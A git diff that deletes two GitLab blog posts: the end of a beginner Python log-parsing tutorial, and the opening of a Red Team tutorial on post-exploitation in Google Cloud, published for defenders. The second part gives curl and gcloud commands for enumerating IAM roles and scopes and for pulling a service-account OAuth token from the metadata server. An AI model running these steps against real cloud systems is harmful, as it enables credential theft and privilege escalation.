-
-    # Input parameter: file path
-
-    # Match log line against regex_log_pattern
-
-    # Return the results as dictionary list: log line, pattern, extracted
-    columns
-
-    ```
-
-
-    ![Code suggestion based on a multiline comment instruction to get a function
-    that parses a log file based on regex
-    patterns](https://about.gitlab.com/images/blogimages/learn-python-with-ai-code-suggestions-getting-started/vs_code_code_suggestions_log_format_regex_function_instructions_01.png){:
-    .shadow}
-
-
-    Remember the indent for opening a new scope? The same applies for functions
-    in Python. The `def` identifier requires a function name, and a list of
-    parameters, followed by an opening colon. The next lines of code require the
-    indent. VS Code will help with live-linting wrong indent, before the script
-    execution fails, or the CI/CD pipelines. 
-
-
-    Continue with Code Suggestions – it might already know that you want to
-    parse all log files, and parse them using the newly created function. 
-
-
-    ![Code suggestion to parse all log files, and print the result
-    set](https://about.gitlab.com/images/blogimages/learn-python-with-ai-code-suggestions-getting-started/vs_code_code_suggestions_log_format_regex_function_instructions_02.png){:
-    .shadow}
-
-
-    A full working example can look like this: 
-
-
-    ```
-
-    import os
-
-
-    # Specify the path and file suffix in variables
-
-    path = 'log-data/'
-
-    file_suffix = '.log'
-
-
-    # Read all file paths in the directory into a list
-
-    log_files = []
-
-    for root, directories, files in os.walk(path):
-        for file in files:
-            if file.endswith(file_suffix):
-                log_files.append(os.path.join(root, file))
-
-    # Define the syslog log format regex in a dictionary
-
-    # Add entries for RFC3164, RFC5424
-
-    regex_log_pattern = {
-        'rfc3164': '([A-Z][a-z][a-z]\s{1,2}\d{1,2}\s\d{2}[:]\d{2}[:]\d{2})\s([\w][\w\d\.@-]*)\s(.*)$',
-        'rfc5424': '(?:(\d{4}[-]\d{2}[-]\d{2}[T]\d{2}[:]\d{2}[:]\d{2}(?:\.\d{1,6})?(?:[+-]\d{2}[:]\d{2}|Z)?)|-)\s(?:([\w][\w\d\.@-]*)|-)\s(.*)$;'
-    }
-
-
-    # Create a function that parses a log file
-
-    # Input parameter: file path
-
-    # Match log line against regex_log_pattern
-
-    # Return the results as dictionary list: log line, pattern name, extracted
-    columns
-
-    import re
-
-
-    def parse_log_file(file_path):
-        # Read the log file
-        with open(file_path, 'r') as f:
-            log_lines = f.readlines()
-
-        # Create a list to store the results
-        results = []
-
-        # Iterate over the log lines
-        for log_line in log_lines:
-            # Match the log line against the regex pattern
-            for pattern_name, pattern in regex_log_pattern.items():
-                match = re.match(pattern, log_line)
-
-                # If the log line matches the pattern, add the results to the list
-                if match:
-                    extracted_columns = match.groups()
-                    results.append({
-                        'log_line': log_line,
-                        'pattern_name': pattern_name,
-                        'extracted_columns': extracted_columns,
-                        'source_file': file_path
-                    })
-
-        # Return the results
-        return results
-
-    # Parse all files and print results
-
-    for log_file in log_files:
-        results = parse_log_file(log_file)
-        print(results)
-    ```
-
-
-    Let's unpack what the `parse_log_file()` function does:
-
-
-    1. Opens the file from `file_path` parameter. 
-
-    2. Reads all lines into a new variable `log_lines`. 
-
-    3. Creates a results list to store all items. 
-
-    4. Iterates over the log lines. 
-
-    5. Matches against all regex patterns configured in regex_log_pattern. 
-
-    6. If a match is found, extracts the matching column values.
-
-    7. Creates a results item, including the values for the keys `log_line`,
-    `pattern_name`, `extracted_colums`, `source_file`. 
-
-    8. Appends the results item to the results list.
-
-    9. Returns the results list. 
-
-
-    There are different variations to this – especially for the returned result
-    data structure. For this specific case, log lines come as list already.
-    Adding a dictionary object instead of a raw log line allows function callers
-    to extract the desired information in the next step. Once a working example
-    has been implemented, you can refactor the code later, too. 
-
-
-    ### Advanced log format: auth.log
-
-
-    Parsing the syslog on a Linux distribution might not unveil the necessary
-    data to analyze. On a virtual machine that exposes port 22 (SSH) to the
-    world, the authentication log is much more interesting – plenty of bots and
-    malicious actors testing default password combinations and often brute force
-    attacks.
-
-
-    The following snippet from `/var/log/auth.log` on one of my private servers
-    shows the authentication log format and the random attempts from bots using
-    different usernames, etc. 
-
-
-    ```
-
-    Oct 15 00:00:19 ebpf-chaos sshd[3967944]: Failed password for invalid user
-    ubuntu from 93.254.246.194 port 48840 ssh2
-
-    Oct 15 00:00:20 ebpf-chaos sshd[3967916]: Failed password for root from
-    180.101.88.227 port 44397 ssh2
-
-    Oct 15 00:00:21 ebpf-chaos sshd[3967944]: Received disconnect from
-    93.254.246.194 port 48840:11: Bye Bye [preauth]
-
-    Oct 15 00:00:21 ebpf-chaos sshd[3967944]: Disconnected from invalid user
-    ubuntu 93.254.246.194 port 48840 [preauth]
-
-    Oct 15 00:00:24 ebpf-chaos sshd[3967916]: Failed password for root from
-    180.101.88.227 port 44397 ssh2
-
-    Oct 15 00:00:25 ebpf-chaos sshd[3967916]: Received disconnect from
-    180.101.88.227 port 44397:11:  [preauth]
-
-    Oct 15 00:00:25 ebpf-chaos sshd[3967916]: Disconnected from authenticating
-    user root 180.101.88.227 port 44397 [preauth]
-
-    Oct 15 00:00:25 ebpf-chaos sshd[3967916]: PAM 2 more authentication
-    failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=180.101.88.227 
-    user=root
-
-    Oct 15 00:00:25 ebpf-chaos sshd[3967998]: Invalid user teamspeak from
-    185.218.20.10 port 33436
-
-    ```
-
-
-    **Tip for intrusion prevention:** Add a firewall setup, and use
-    [fail2ban](https://en.wikipedia.org/wiki/Fail2ban) to block invalid auth
-    logins. 
-
-
-    The next exercise is to extend the logic to understand the free form log
-    message parts, for example `Failed password for invalid user ubuntu from
-    93.254.246.194 port 48840 ssh2`. The task is to store the data in an
-    optional dictionary with key value pairs. 
-
-
-    Create a new function that takes the previously parsed log line results as
-    input, and specifically parses the last list item for each line.
-
-
-    1. Count the number of `Failed password` and `Invalid user` messages.
-
-    2. Return the results with count, log file, pattern 
-
-
-    ![Code suggestions for a log file message parser to count auth.log
-    failures](https://about.gitlab.com/images/blogimages/learn-python-with-ai-code-suggestions-getting-started/vs_code_code_suggestions_parse_log_message_auth_log.png){:
-    .shadow}
-
-
-    A working suggestion can look like the following code:
-
-
-    ```python
-
-    # Create a function that parses a log file message from the last
-    extracted_columns entry 
-
-    # Input: Parsed log lines results list 
-
-    # Loop over all log lines in the list, and extract the last list item as
-    message 
-
-    # Count failure strings in the message: Failed password, Invalid user 
-
-    # Return the results if failure count greater 0: log_file, count, failure
-    string
-
-    def parse_log_file_message(results):
-        failure_results = []
-
-        # Iterate over the log lines
-        for result in results:
-            # Extract the message from the last list item
-            message = result['extracted_columns'][-1]
-
-            # Count the number of failure strings in the message
-            failure_count = message.count('Failed password') + message.count('Invalid user')
-
-            # If the failure count is greater than 0, add the results to the list
-            if failure_count > 0:
-                failure_results.append({
-                    'log_file': result['source_file'],
-                    'count': failure_count,
-                    'failure_string': message
-                })
-
-        # Return the results
-        return failure_results
-
-    # Parse all files and print results
-
-    for log_file in log_files:
-        results = parse_log_file(log_file)
-        failure_results = parse_log_file_message(results)
-        print(failure_results)
-    ```
-
-
-    The algorithm follows the previous implementations: First, create a results
-    array to store matching data. Then, iterate over the already parsed
-    log_lines in the list. Each log line contains the `extracted_columns` key,
-    which holds the free-form message string at the end. The next step is to
-    call the string object function `count()` to count how many times a given
-    character sequence is contained in a string. The returned numbers are added
-    up to the `failure_count` variable. If it is greater than zero, the result
-    is added to the results list, including the `log_file`, `count` and
-    `failure_string` key-value pairs. After returning the parsed log message
-    results, loop through all log files, parse them, and print the results
-    again. 
-
-
-    Execute the script to inspect the detected matches. Note that the data
-    structure can be optimized in future learning steps.
-
-
-    ```
-
-    python3 log_reader.py
-
-
-    [{'log_file': 'log-data/var/log/auth.log', 'count': 1, 'failure_string':
-    'sshd[3967944]: Failed password for invalid user ubuntu from 93.254.246.194
-    port 48840 ssh2'}, {'log_file': 'log-data/var/log/auth.log', 'count': 1,
-    'failure_string': 'sshd[3967916]: Failed password for root from
-    180.101.88.227 port 44397 ssh2'}, {'log_file': 'log-data/var/log/auth.log',
-    'count': 1, 'failure_string': 'sshd[3967916]: Failed password for root from
-    180.101.88.227 port 44397 ssh2'}, {'log_file': 'log-data/var/log/auth.log',
-    'count': 1, 'failure_string': 'sshd[3967998]: Invalid user teamspeak from
-    185.218.20.10 port 33436'}, {'log_file': 'log-data/var/log/auth.log',
-    'count': 1, 'failure_string': 'sshd[3967998]: Failed password for invalid
-    user teamspeak from 185.218.20.10 port 33436 ssh2'}, {'log_file':
-    'log-data/var/log/auth.log', 'count': 1, 'failure_string': 'sshd[3968077]:
-    Invalid user mcserver from 218.211.33.146 port 50950'}]
-
-
-    ```
-
-
-    ### Parsing more types: Structured logging
-
-
-    Application developers can use the structured logging format to help machine
-    parsers to extract the key value pairs. Prometheus provides this information
-    in the following structure in syslog:
-
-
-    ```
-
-    Oct 17 19:00:10 ebpf-chaos prometheus[594]: ts=2023-10-17T19:00:10.425Z
-    caller=compact.go:519 level=info component=tsdb m
-
-    sg="write block" mint=1697558404661 maxt=1697565600000
-    ulid=01HCZG4ZX51GTH8H7PVBYDF4N6 duration=148.675854ms
-
-    Oct 17 19:00:10 ebpf-chaos prometheus[594]: ts=2023-10-17T19:00:10.464Z
-    caller=head.go:1213 level=info component=tsdb msg
-
-    ="Head GC completed" caller=truncateMemory duration=6.845245ms
-
-    Oct 17 19:00:10 ebpf-chaos prometheus[594]: ts=2023-10-17T19:00:10.467Z
-    caller=checkpoint.go:100 level=info component=tsd
-
-    b msg="Creating checkpoint" from_segment=2308 to_segment=2309
-    mint=1697565600000
-
-    Oct 17 19:00:10 ebpf-chaos prometheus[594]: ts=2023-10-17T19:00:10.517Z
-    caller=head.go:1185 level=info component=tsdb msg
-
-    ="WAL checkpoint complete" first=2308 last=2309 duration=50.052621ms
-
-    ```
-
-
-    This format is easier to parse for scripts, because the message part can be
-    split by whitespaces, and the assignment character `=`. Strings that contain
-    whitespaces are guaranteed to be enclosed with quotes. The downside is that
-    not all programming language libraries provide ready-to-use structured
-    logging libraries, making it harder for developers to adopt this format. 
-
-
-    Practice following the previous example to parse the `auth.log` format with
-    additional information. Tell Code Suggestions that you are expecting
-    structured logging format with key-value pairs, and which returned data
-    structure would be great:
-
-
-    ```python
-
-    # Create a function that parses a log file message from the last
-    extracted_columns entry 
-
-    # Input: Parsed log lines results list 
-
-    # Loop over all log lines in the list, and extract the last list item as
-    message 
-
-    # Parse structured logging key-value pairs into a dictionary
-
-    # Return results: log_file, dictionary 
-
-    ```
-
-
-    ![Code suggestions for parsing structured logging format in the log file
-    message
-    part](https://about.gitlab.com/images/blogimages/learn-python-with-ai-code-suggestions-getting-started/vs_code_code_suggestions_propose_structured_logging_message_parser.png){:
-    .shadow}
-
-
-    ### Printing results and formatting
-
-
-    Many of the examples used the `print()` statement to print the content on
-    the terminal. Python objects in the standard library support text
-    representation, and for some types it makes more sense (string, numbers),
-    others cannot provide much details (functions, etc.). 
-
-
-    You can also pretty-print almost any data structure (lists, sets,
-    dictionaries) in Python. The JSON library can format data structures in a
-    readable format, and use a given spaces indent to draw the JSON structure on
-    the terminal. Note that we use the `import` statement here to bring
-    libraries into the current scope, and access their methods, for example
-    `json.dumps`. 
-
-
-    ```python
-
-    import json 
-
-    print(json.dumps(structured_results, indent=4))
-
-    ```
-
-
-    ![Parsing log files into structured objects, example result after following
-    the
-    exercises](https://about.gitlab.com/images/blogimages/learn-python-with-ai-code-suggestions-getting-started/vs_code_terminal_parsing_logs_and_pretty_print_results.png)
-
-
-    Practice with modifying the existing source code, and replace the code
-    snippets where appropriate. Alternatively, create a new function that
-    implements pretty printing.
-
-
-    ```python
-
-    # Create a pretty print function with indent 4 
-
-    ```
-
-
-    ![Code suggestions for pretty-print
-    function](https://about.gitlab.com/images/blogimages/learn-python-with-ai-code-suggestions-getting-started/vs_code_code_suggestions_pretty_print.png){:
-    .shadow}
-
-
-    This idea works in a similar fashion with creating your own logger
-    functions...but we have to stop learning and take a break. Before we
-    conclude the first blog post in the learning series, let's ensure that CI/CD
-    and dependencies are set up properly for future exercises and async
-    practice. 
-
-
-    ## Dependency management and continuous verification  
-
-
-    ### Pip and pyenv: Bringing structure into Python 
-
-
-    Dependencies can be managed in the [`requirements.txt`
-    file](https://pip.pypa.io/en/stable/reference/requirements-file-format/),
-    including optional version dependencies. Using `requirements.txt` file also
-    has the advantage of being the single source of truth for local development
-    environments and running continuous builds with GitLab CI/CD. They can use
-    the same installation command:
-
-
-    ```shell
-
-    pip install -r requirements.txt
-
-    ```
-
-
-    Some Linux distributions do not install the pip package manager by default,
-    for example, Ubuntu/Debian require to install the `python3-pip` package. 
-
-
-    You can manage different virtual environments using
-    [venv](https://docs.python.org/3/library/venv.html). This workflow can be
-    beneficial to install Python dependencies into the virtual environment,
-    instead of globally into the OS path which might break on upgrades. 
-
-
-    ```shell
-
-    pip install virtualenv
-
-    virtualenv venv
-
-    source venv/bin/activate 
-
-    ```
-
-
-    ### Automation: Configure CI/CD pipeline for Python
-
-
-    The [CI/CD pipeline](https://docs.gitlab.com/ee/ci/) should continuously
-    lint, test, and build the code. You can mimic the steps from the local
-    development, and add testing more environments and versions: 
-
-
-    1. Lint the source code and check for formatting errors. The example uses
-    [Pyflakes](https://pypi.org/project/pyflakes/), a mature linter, and
-    [Ruff](https://docs.astral.sh/ruff/ ), a fast linter written in Rust. 
-
-    2. Cache dependencies installed using the pip package manager, following the
-    documentation for [Python caching in GitLab
-    CI/CD](https://docs.gitlab.com/ee/ci/caching/#cache-python-dependencies).
-    This saves time and resources on repeated CI/CD pipeline runs.
-
-    3. Use parallel matrix builds to test different Python versions, based on
-    the available container images on Docker Hub and their tags. 
-
-
-    ```yaml
-
-    stages:
-      - lint
-      - test
-
-    default:
-      image: python:latest
-      cache:                      # Pip's cache doesn't store the python packages
-        paths:                    # https://pip.pypa.io/en/stable/topics/caching/
-          - .cache/pip
-      before_script:
-        - python -V               # Print out python version for debugging
-        - pip install virtualenv
-        - virtualenv venv
-        - source venv/bin/activate
-
-    variables:  # Change pip's cache directory to be inside the project
-    directory since we can only cache local items.
-      PIP_CACHE_DIR: "$CI_PROJECT_DIR/.cache/pip"
-
-    # lint template
-
-    .lint-tmpl:
-      script:
-        - echo "Linting Python version $VERSION"
-      parallel:
-        matrix:
-          - VERSION: ['3.9', '3.10', '3.11', '3.12']   # https://hub.docker.com/_/python
-
-    # Lint, using Pyflakes: https://pypi.org/project/pyflakes/ 
-
-    lint-pyflakes:
-      extends: [.lint-tmpl]
-      script:
-        - pip install -r requirements.txt
-        - find . -not -path './venv' -type f -name '*.py' -exec sh -c 'pyflakes {}' \;
-
-    # Lint, using Ruff (Rust): https://docs.astral.sh/ruff/ 
-
-    lint-ruff:
-      extends: [.lint-tmpl]
-      script:
-        - pip install -r requirements.txt
-        - ruff .
-    ```
-
-
-    ![GitLab CI/CD Python lint job view, part of matrix
-    builds](https://about.gitlab.com/images/blogimages/learn-python-with-ai-code-suggestions-getting-started/gitlab_cicd_python_lint_job_log_view.png)
-
-
-    ## What is next 
-
-
-    Fun fact: GitLab Duo Code Suggestions also helped writing this blog post in
-    VS Code, knowing about the context. In the screenshot, I just wanted to add
-    a tip about [regex101](https://regex101.com/), and GitLab Duo already knew. 
-
-
-    ![Writing the GitLab blog post in VS Code with support from GitLab Duo Code
-    Suggestions](https://about.gitlab.com/images/blogimages/learn-python-with-ai-code-suggestions-getting-started/gitlab_duo_code_suggestions_helping_write_the_learning_python_ai_blog_post.png)
-
-
-    In an upcoming blog, we will look into advanced learning examples with more
-    practical (log) filtering and parallel operations, how to fetch logs from
-    API endpoints (CI/CD job logs for example), and more data analytics and
-    observability. Until then, here are a few recommendations for practicing
-    async.
-
-
-    ### Async learning exercises
-
-
-    - Implement the missing `log_file_limit` variable check. 
-
-    - Print a summary of the results in Markdown, not only JSON format. 
-
-    - Extend the script to accept a search filter as environment variable.
-    Print/count only filtered results. 
-
-    - Extend the script to accept a date range. It might require parsing the
-    datetime column in a time object to compare the range. 
-
-    - Inspect a GitLab CI/CD pipeline job log, and download the raw format.
-    Extend the log parser to parse this specific format, and print a summary. 
-
-
-    ### Share your feedback
-
-
-    Which programming language are you learning or considering learning? Start a
-    new topic on our [community](/community/) forum or Discord and share your
-    experience.
-
-
-    When you use [GitLab Duo](/gitlab-duo/) Code Suggestions, please share your
-    thoughts and feedback [in the feedback
-    issue](https://gitlab.com/gitlab-org/gitlab/-/issues/405152).
-  category: AI/ML
-  tags:
-    - DevSecOps platform
-    - tutorial
-    - workflow
-    - AI/ML
-config:
-  slug: learning-python-with-a-little-help-from-ai-code-suggestions
-  featured: false
-  template: BlogPost
diff --git a/content/en-us/blog/plundering-gcp-escalating-privileges-in-google-cloud-platform.yml b/content/en-us/blog/plundering-gcp-escalating-privileges-in-google-cloud-platform.yml
deleted file mode 100644
index a2f982933..000000000
--- a/content/en-us/blog/plundering-gcp-escalating-privileges-in-google-cloud-platform.yml
+++ /dev/null
@@ -1,1545 +0,0 @@
-seo:
-  title: >-
-    Tutorial on privilege escalation and post exploitation tactics in Google
-    Cloud Platform environments
-  description: A Red Team exercise on exploiting design decisions on GCP.
-  ogTitle: >-
-    Tutorial on privilege escalation and post exploitation tactics in Google
-    Cloud Platform environments
-  ogDescription: A Red Team exercise on exploiting design decisions on GCP.
-  noIndex: false
-  ogImage: images/blog/hero-images/white-lightning-heating-mountain.jpg
-  ogUrl: >-
-    https://about.gitlab.com/blog/plundering-gcp-escalating-privileges-in-google-cloud-platform
-  ogSiteName: https://about.gitlab.com
-  ogType: article
-  canonicalUrls: >-
-    https://about.gitlab.com/blog/plundering-gcp-escalating-privileges-in-google-cloud-platform
-  schema: |2-
-
-                            {
-            "@context": "https://schema.org",
-            "@type": "Article",
-            "headline": "Tutorial on privilege escalation and post exploitation tactics in Google Cloud Platform environments",
-            "author": [{"@type":"Person","name":"Chris Moberly"}],
-            "datePublished": "2020-02-12",
-          }
-
-content:
-  title: >-
-    Tutorial on privilege escalation and post exploitation tactics in Google
-    Cloud Platform environments
-  description: A Red Team exercise on exploiting design decisions on GCP.
-  authors:
-    - Chris Moberly
-  heroImage: images/blog/hero-images/white-lightning-heating-mountain.jpg
-  date: '2020-02-12'
-  body: >-
-
-    ## Update
-
-
-    _At GitLab we have an internal [Red
-    Team](/handbook/security/threat-management/red-team/) that dedicates time
-    looking at the services and business partners we use to deliver GitLab
-    products and services. As a [Google Cloud
-    customer,](/blog/2018/06/25/moving-to-gcp/) we have an obvious interest in
-    all the different ways that administrators can make devastating security
-    related mistakes when configuring their environment. We also have a team
-    goal of sharing our research and tooling when possible with the community.
-    This blog post and our previous post, [Introducing Token Hunter, an open
-    source tool for finding sensitive data in the vast,
-    wide-open,](/blog/2019/12/20/introducing-token-hunter/) are our attempts to
-    share our knowledge with the broader security community - for our mutual
-    benefit._
-
-
-    _This post does not outline any new vulnerabilities in Google Cloud Platform
-    but outlines ways that an attacker who has already gained an unprivileged
-    foothold on a cloud instance may perform reconnaissance, privilege
-    escalation and eventually complete compromise of an environment._
-
-
-    ## Introduction
-
-
-    We recently embarked on a journey to simulate malicious activity in Google
-    Cloud Platform (GCP). The idea was to begin with the low-privilege
-    compromise of a Linux virtual machine, and then attempt to escalate
-    privileges and access sensitive data throughout the environment.
-
-
-    The problem? There just isn't a lot of information available about GCP
-    written from an attacker's perspective. We set out to learn as much as we
-    could about Google Cloud and how an attacker might work to abuse common
-    design decisions. Now, we are sharing that information with you! I'll also
-    be presenting this talk, [Plundering GCP – escalating privileges, moving
-    laterally and stealing secrets in Google
-    Cloud](https://www.bsidesmelbourne.com/2020-plundering-gcp.html), in March
-    2020 at BSides Melbourne.
-
-
-    In this tutorial, we will do a very deep-dive into manual post-exploitation
-    tactics and techniques for GCP. The specific scenario we are addressing here
-    is the compromise of a single Linux-based virtual machine running within the
-    Compute Engine offering. The goal is to elevate local privileges to a root
-    account, compromise other systems within the same Google Cloud
-    [Project](https://cloud.google.com/storage/docs/projects), break out of that
-    project into others, and even hop the fence over to G Suite if possible.
-
-
-    We'll also go into specific detail on how to interact with a slew of
-    Google's cloud services to hunt for secrets and exfiltrate sensitive data.
-
-
-    If you're tasked with defending infrastructure in Google Cloud, this
-    tutorial should give you a good idea of what an attacker may get up to and
-    the types of activities you should be looking out for.
-
-
-    This blog also introduces several utilities targeting GCP environments:
-
-
-    -
-    [gcp_firewall_enum](https://gitlab.com/gitlab-com/gl-security/gl-redteam/gcp_firewall_enum):
-    Generate targeted port scans for Compute Instances exposed to the internet.
-
-    - [gcp_enum](https://gitlab.com/gitlab-com/gl-security/gl-redteam/gcp_enum):
-    Most of the enumeration commands in this blog, consolidated to a single
-    script.
-
-    - [gcp_misc](https://gitlab.com/gitlab-com/gl-security/gl-redteam/gcp_misc):
-    Various tools for attacking GCP environments.
-
-
-    *No shell? No problem! Most of these techniques can used with SSRF as well.
-    Check out the [Leveraging SSRF](#leveraging-ssrf) appendix for more info.*
-
-
-    ## Basic background info
-
-
-    GCP is a big beast with a ton of moving parts. Here is a bit of background
-    on items that are most relevant to the breach of a Compute Instance.
-
-
-    ### Tools
-
-
-    #### gcloud
-
-
-    It is likely that the box you land on will have the [GCP SDK
-    tools](https://cloud.google.com/sdk/docs/) installed and configured. A quick
-    way to verify that things are set up is to run the following command:
-
-
-    ```
-
-    $ gcloud config list
-
-    ```
-
-
-    If properly configured, you should get some output detailing the current
-    service account and project in use.
-
-
-    The [gcloud command set](https://cloud.google.com/sdk/gcloud/reference/) is
-    pretty extensive, supports tab completion, and has excellent online and
-    built-in documentation. You can also install it locally on your own machine
-    and use it with credential data that you obtain.
-
-
-    #### Cloud APIs
-
-
-    The `gcloud` command is really just a way of automating [Google Cloud
-    API](https://cloud.google.com/apis/docs/overview) calls. However, you can
-    also perform them manually. Understanding the API endpoints and
-    functionality can be very helpful when you're operating with a very specific
-    set of permissions, and trying to work out exactly what you can do.
-
-
-    You can see what the raw HTTP API call for any individual `gcloud` command
-    is simply by appending `--log-http` to the command.
-
-
-    #### Metadata endpoint
-
-
-    Every Compute Instance has access to a dedicated [metadata
-    server](https://cloud.google.com/compute/docs/storing-retrieving-metadata)
-    via the IP address 169.254.169.254. You can identify it as a host file entry
-    like the one below:
-
-
-    ```
-
-    $ cat /etc/hosts
-
-    [...]
-
-    169.254.169.254 metadata.google.internal  # Added by Google
-
-    ```
-
-
-    This metadata server allows any processes running on the instance to query
-    Google for information about the instance it runs on and the project it
-    resides in. No authentication is required - default `curl` commands will
-    suffice.
-
-
-    For example, the following command will return information specific to the
-    Compute Instance it is run from.
-
-
-    ```
-
-    $ curl
-    "http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text"
-    \
-        -H "Metadata-Flavor: Google"
-    ```
-
-
-    ### Security concepts
-
-
-    What you can actually do from within a compromised instance is the resultant
-    combination of service accounts, access scopes, and IAM permissions. These
-    are described below.
-
-
-    #### Resource hierarchy
-
-
-    Google Cloud uses a [Resource
-    hierarchy](https://cloud.google.com/resource-manager/docs/cloud-platform-resource-hierarchy)
-    that is similar, conceptually, to that of a traditional filesystem. This
-    provides a logical parent/child workflow with specfic attachment points for
-    policies and permissions.
-
-
-    At a high level, it looks like this:
-
-
-    ```
-
-    Organization
-
-    --> Folders
-      --> Projects
-        --> Resources
-    ```
-
-
-    The scenario this blog addresses is the compromise of a virtual machine
-    (called a Compute Instance), which is a resource. This resource resides in a
-    project, probably alongside other Compute Instances, storage buckets, etc.
-
-
-    We will work to compromise as much as we can inside that project, and then
-    eventually to branch out into other projects within the same organization. A
-    full compromise of the organization itself would be great, but gaining
-    access to confidential assets may be possible simply by exploring the
-    resources in a single project.
-
-
-    #### Service accounts
-
-
-    Virtual machine instances are usually assigned a service account. Every GCP
-    project has a [default service
-    account](https://cloud.google.com/compute/docs/access/service-accounts#default_service_account),
-    and this will be assigned to new Compute Instances unless otherwise
-    specified. Administrators can choose to use either a custom account or no
-    account at all. This service account can be used by any user or application
-    on the machine to communicate with the Google APIs. You can run the
-    following command to see what accounts are available to you:
-
-
-    ```
-
-    $ gcloud auth list
-
-    ```
-
-
-    Default service accounts will look like one of the following:
-
-
-    ```
-
-    PROJECT_NUMBER-compute@developer.gserviceaccount.com
-
-    PROJECT_ID@appspot.gserviceaccount.com
-
-    ```
-
-
-    More savvy administrators will have configured a custom service account to
-    use with the instance. This allows them to be more granular with
-    permissions.
-
-
-    A custom service account will look like this:
-
-
-    ```
-
-    SERVICE_ACCOUNT_NAME@PROJECT_NAME.iam.gserviceaccount.com
-
-    ```
-
-
-    If `gcloud auth list` returns multiple accounts available, something
-    interesting is going on. You should generally see only the service account.
-    If there is more than one, you can cycle through each using `gcloud config
-    set account [ACCOUNT]` while trying the various tasks in this blog.
-
-
-    #### Access scopes
-
-
-    The service account on a GCP Compute Instance will use OAuth to communicate
-    with the Google Cloud APIs. When [access
-    scopes](https://cloud.google.com/compute/docs/access/service-accounts#accesscopesiam)
-    are used, the OAuth token that is generated for the instance will have a
-    [scope](https://oauth.net/2/scope/) limitation included. This defines what
-    API endpoints it can authenticate to. It does NOT define the actual
-    permissions.
-
-
-    When using a custom service account, Google
-    [recommends](https://cloud.google.com/compute/docs/access/service-accounts#service_account_permissions)
-    that access scopes are not used and to rely totally on IAM. The web
-    management portal actually enforces this, but access scopes can still be
-    applied to instances using custom service accounts programatically.
-
-
-    There are three options when setting an access scope on a VM instance:
-
-    - Allow default access
-
-    - All full access to all cloud APIs
-
-    - Set access for each API
-
-
-    You can see what scopes are assigned by querying the metadata URL. Here is
-    an example from a VM with "default" access assigned:
-
-
-    ```
-
-    $ curl
-    http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes
-    \
-        -H 'Metadata-Flavor:Google'
-
-    https://www.googleapis.com/auth/devstorage.read_only
-
-    https://www.googleapis.com/auth/logging.write
-
-    https://www.googleapis.com/auth/monitoring.write
-
-    https://www.googleapis.com/auth/servicecontrol
-
-    https://www.googleapis.com/auth/service.management.readonly
-
-    https://www.googleapis.com/auth/trace.append
-
-    ```
-
-
-    The most interesting thing in the default scope is `devstorage.read_only`.
-    This grants read access to all storage buckets in the project. This can be
-    devastating, which of course is great for us as an attacker.
-
-
-    Here is what you'll see from an instance with no scope limitations:
-
-
-    ```
-
-    $ curl
-    http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes
-    -H 'Metadata-Flavor:Google'
-
-    https://www.googleapis.com/auth/cloud-platform
-
-    ```
-
-
-    This `cloud-platform` scope is what we are really hoping for, as it will
-    allow us to authenticate to any API function and leverage the full power of
-    our assigned IAM permissions. It is also Google's recommendation as it
-    forces administrators to choose only necessary permissions, and not to rely
-    on access scopes as a barrier to an API endpoint.
-
-
-    It is possible to encounter some conflicts when using both IAM and access
-    scopes. For example, your service account may have the IAM role of
-    `compute.instanceAdmin` but the instance you've breached has been crippled
-    with the scope limitation of
-    `https://www.googleapis.com/auth/compute.readonly`. This would prevent you
-    from making any changes using the OAuth token that's automatically assigned
-    to your instance.
-
-
-    #### Identify and access management (IAM)
-
-
-    IAM permissions are used for fine-grained access control. There are [a
-    lot](https://cloud.google.com/iam/docs/permissions-reference) of them. The
-    permissions are bundled together using three types of
-    [roles](https://cloud.google.com/iam/docs/understanding-roles):
-
-
-    - Primitive roles: Owner, Editor, and Viewer. These are the old-school way
-    of doing things. The default service account in every project is assigned
-    the Editor role. This is insecure and we love it.
-
-    - Predefined roles: These roles are managed by Google and are meant to be
-    combinations of most-likely scenarios. One of our favorites is the
-    `compute.instanceAdmin` role, as it allows for easy privilege escalation.
-
-    - Custom roles: This allows admins to group their own set of granular
-    permissions.
-
-
-    As of this writing, there are 2,574 fine-grained permissions in IAM. These
-    individual permissions are bundled together into a role. A role is connected
-    to a member (user or service account) in what Google calls a
-    [binding](https://cloud.google.com/iam/docs/reference/rest/v1/Policy#binding).
-    Finally, this binding is applied at some level of the GCP hiearchy via a
-    [policy](https://cloud.google.com/iam/docs/reference/rest/v1/Policy).
-
-
-    This policy determines what actions are allowed - it is the intersection
-    between accounts, permissions, resources, and (optionally) conditions.
-
-
-    You can try the following command to specifically enumerate roles assigned
-    to your service account project-wide in the current project:
-
-
-    ```
-
-    $ PROJECT=$(curl
-    http://metadata.google.internal/computeMetadata/v1/project/project-id \
-        -H "Metadata-Flavor: Google" -s)
-    $ ACCOUNT=$(curl
-    http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email
-    \
-        -H "Metadata-Flavor: Google" -s)
-    $ gcloud projects get-iam-policy $PROJECT  \
-        --flatten="bindings[].members" \
-        --format='table(bindings.role)' \
-        --filter="bindings.members:$ACCOUNT"
-    ```
-
-
-    Don't worry too much if you get denied access to the command above. It's
-    still possible to work out what you can do simply by trying to do it.
-
-
-    More generally, you can shorten the command to the following to get an idea
-    of the roles assigned project-wide to all members.
-
-
-    ```
-
-    $ gcloud projects get-iam-policy [PROJECT-ID]
-
-    ```
-
-
-    Or to see the IAM policy [assigned to a single Compute
-    Instance](https://cloud.google.com/sdk/gcloud/reference/compute/instances/get-iam-policy)
-    you can try the following.
-
-
-    ```
-
-    $ gcloud compute instances get-iam-policy [INSTANCE] --zone [ZONE]
-
-    ```
-
-
-    There are similar commands for various other APIs. Consult the documentation
-    if you need one other than what is shown above.
-
-
-    ### Default credentials
-
-
-    #### Default service account token
-
-
-    The metadata server available to a given instance will provide any
-    user/process on that instance with an OAuth token that is automatically used
-    as the default credentials when communicating with Google APIs via the
-    `gcloud` command.
-
-
-    You can retrieve and inspect the token with the following curl command:
-
-
-    ```
-
-    $ curl
-    "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
-    \
-        -H "Metadata-Flavor: Google"
-    ```
-
-
-    Which will receive a response like the following:
-
-
-    ```
-
-    {
-          "access_token":"ya29.AHES6ZRN3-HlhAPya30GnW_bHSb_QtAS08i85nHq39HE3C2LTrCARA",
-          "expires_in":3599,
-          "token_type":"Bearer"
-     }
-    ```
-
-
